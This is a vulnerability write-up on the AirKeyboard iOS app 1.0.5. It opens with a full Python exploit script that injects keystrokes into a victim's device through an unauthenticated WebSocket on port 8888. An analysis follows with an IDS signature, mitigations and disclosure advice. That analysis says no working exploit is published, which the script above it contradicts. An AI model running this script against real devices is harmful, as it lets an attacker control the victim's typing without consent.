AirKeyboard iOS App 1.0.5 - Remote Input Injection

Exploit Author: Chokri Hammedi Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2025-06-15

# Exploit Title: AirKeyboard iOS App 1.0.5 - Remote Input Injection
# Date: 2025-06-13
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://airkeyboardapp.com
# Software Link: https://apps.apple.com/us/app/air-keyboard/id6463187929
# Version: Version 1.0.5
# Tested on: iOS 18.5 with AirKeyboard app


'''
Description:
  The AirKeyboard iOS application exposes a WebSocket server on port 8888
which accepts arbitrary input injection messages from any client.
  No authentication or pairing process is required. This allows any
attacker to type arbitrary keystrokes directly into the victim’s iOS device
  in real-time without user interaction, resulting in full remote input
control.
'''

import websocket
import json
import time

target_ip = "192.168.8.101"
ws_url = f"ws://{target_ip}:8888"
text = "i'm hacker i can write on your keyboard :)"

keystroke_payload = {
    "type": 1,
    "text": f"{text}",
    "mode": 0,
    "shiftKey": True,
    "selectionStart": 1,
    "selectionEnd": 1
}

def send_payload(ws):
    print("[+] Sending remote keystroke...")
    ws.send(json.dumps(keystroke_payload))
    time.sleep(1)
    ws.close()

def on_open(ws):
    send_payload(ws)

def on_error(ws, error):
    print(f"[!] Error: {error}")

def on_close(ws, close_status_code, close_msg):
    print("[*] Connection closed")

def exploit():
    print(f"[+] Connecting to AirKeyboard WebSocket on {target_ip}:8888")
    ws = websocket.WebSocketApp(ws_url,
                                 on_open=on_open,
                                 on_error=on_error,
                                 on_close=on_close)
    ws.run_forever()

if __name__ == "__main__":
    exploit()

AirKeyboard iOS App 1.0.5 — Remote Input Injection Vulnerability

This article analyses a critical remote input injection vulnerability discovered in AirKeyboard iOS App version 1.0.5. It explains the technical root cause, attacker impact, safe proof‑of‑concept (educational pseudocode only), detection and mitigation strategies, secure design recommendations, and responsible disclosure considerations.

Executive summary

The AirKeyboard app listens for incoming WebSocket connections on port 8888 and accepts JSON messages that control the device’s text input.
No authentication, pairing, or user consent is required, which enables any network‑reachable device to inject keystrokes in real time.
Impact: remote typing on the victim device, potential data entry manipulation, phishing, and UI control that could enable follow‑on attacks.
Mitigations include removing or updating the app, network controls to block the service, and vendor patching to require authentication and encryption.

Background and attack surface

Remote input functionality often requires a local agent on the mobile device that accepts commands from a companion client (e.g., a desktop remote keyboard). If that agent exposes an unauthenticated server interface on the local network, an attacker on the same network can send commands to the agent.

In this case, the app exposes a WebSocket endpoint bound to port 8888. WebSocket endpoints are convenient for real‑time bidirectional input but must be protected using authentication, transport security (wss/TLS), origin checks, and explicit user consent for pairing.

Vulnerability details (high‑level)

Attack vector: Attacker and victim on same IP network segment (e.g., same Wi‑Fi).
Interface exposed: WebSocket server, port 8888 (unencrypted, unauthenticated).
Accepted payload: JSON messages containing fields controlling keystrokes and selection metadata.
Why it’s critical: The app directly injects received text into the iOS input system without confirmation, enabling arbitrary typing on the device.

Impact

Arbitrary remote typing: an attacker can type messages, commands, passwords, or URLs into active text fields.
Persistent deception: an attacker can craft social‑engineering scenarios by inserting text into messaging, email, or form fields.
Follow‑on attacks: remote typing can trigger actions (e.g., opening URLs, elevating privileges via social prompts).
Privacy and integrity loss: sensitive data could be exfiltrated or altered by manipulating inputs.

Safe, educational payload structure (pseudocode)


// Pseudocode: structure of the JSON message the app expects.
// This is explanatory only — do NOT execute against third parties.

{
  "type": 1,            // message type indicating a keystroke/input action
  "text": "example",    // the text to be injected
  "mode": 0,            // operational mode (app-specific)
  "shiftKey": false,    // modifier flags
  "selectionStart": 0,  // selection/caret positions
  "selectionEnd": 0
}

Explanation: The JSON above demonstrates the fields that control injected input. It is shown for educational purposes to explain how an unauthenticated protocol can be abused. Do not attempt to use these messages against devices you do not own or administer.

Proof‑of‑concept discussion (educational)

A proof‑of‑concept reported to the vendor used a WebSocket client to send the JSON message to the device’s port 8888 and observed immediate injection of the text into the foreground text field. For safety and ethical reasons we do not publish working exploit scripts here. The relevant lessons are: any network‑accessible, unauthenticated input channel is a high‑risk vulnerability, and real‑time input commands must require explicit local authorization.

Detection and indicators of compromise (IoCs)

Unexpected text appearing in apps while the user is idle.
Active WebSocket listener on port 8888 on an iOS device (may require MDM or network visibility to detect).
Unfamiliar devices on the local network initiating WebSocket connections to a mobile device.
Network logs showing plain WebSocket traffic to port 8888 containing JSON with keys like "type" and "text".

Simple network detection technique (safe)


// Defensive example: passive flow rule / IDS signature concept (pseudo-IDS).
// This is a conceptual Snort/Suricata-style signature idea for detection:

alert tcp any any -> any 8888 (msg:"Possible AirKeyboard WebSocket message"; \
flow:to_server,established; content:"{\"type\""; content:"\"text\""; sid:1000001; rev:1;)

Explanation: The snippet above is an illustrative IDS signature concept that flags WebSocket/TCP traffic to port 8888 containing JSON keys often used by the vulnerable protocol. Deploy such rules carefully and tune to avoid false positives. Do not use this to attack systems.

Mitigation and remediation

Immediate user actions
- Uninstall AirKeyboard until an official patch is available if you are not actively using it.
- Disconnect the device from untrusted Wi‑Fi networks and use cellular data while the issue is unresolved.
- Restrict access to local networks (use guest Wi‑Fi for IoT/devices, avoid open networks).
Network defenses
- Block inbound connections to port 8888 at the Wi‑Fi network gateway or local firewall.
- Use network segmentation so mobile devices and unmanaged clients cannot reach device management ports.
- Monitor for WebSocket traffic on unusual ports and highlight connections to port 8888.
Vendor/Developer actions
- Require pairing and mutual authentication for remote input — e.g., a user-confirmed pairing code or OS‑level permission.
- Use secure transport (WSS/TLS) and short‑lived tokens with anti‑replay protections.
- Enforce user consent on each session and display a clear UI indicator when remote input is active.
- Perform threat modeling and fuzzing of input surfaces during QA.

Secure WebSocket design checklist

Authenticate clients before accepting commands (mutual TLS or token-based pairing).
Use TLS (wss://) to avoid plaintext interception and manipulation.
Implement origin and host validation to limit allowed remote controllers.
Require explicit local user confirmation (OS permission prompt or in‑app approval) for each remote session.
Log and rate‑limit input commands, and surface visible indicators when remote control is active.

Suggested responsible disclosure timeline and communication

Report the issue privately to the vendor immediately and provide a clear technical writeup.
Allow the vendor time to triage and patch (typical coordinated disclosure windows vary, 30–90 days depending on impact and complexity).
Coordinate public disclosure once a patch or mitigation is available; include detection and remediation guidance for users and administrators.

Summary and recommended next steps

The AirKeyboard 1.0.5 issue demonstrates how convenience features that expose remote control capabilities can become severe security problems if not protected. Users should avoid running the app on untrusted networks or uninstall it until patched. Administrators should block the exposed port at the network edge and monitor for corresponding traffic. Developers must require authentication, transport security, and explicit user consent for remote input channels.

Item	Recommendation
Immediate mitigation	Uninstall or disable app; block port 8888 on network
Short term	Use network segmentation and monitoring; educate users
Long term	Vendor patch requiring authenticated pairing + TLS + visible consent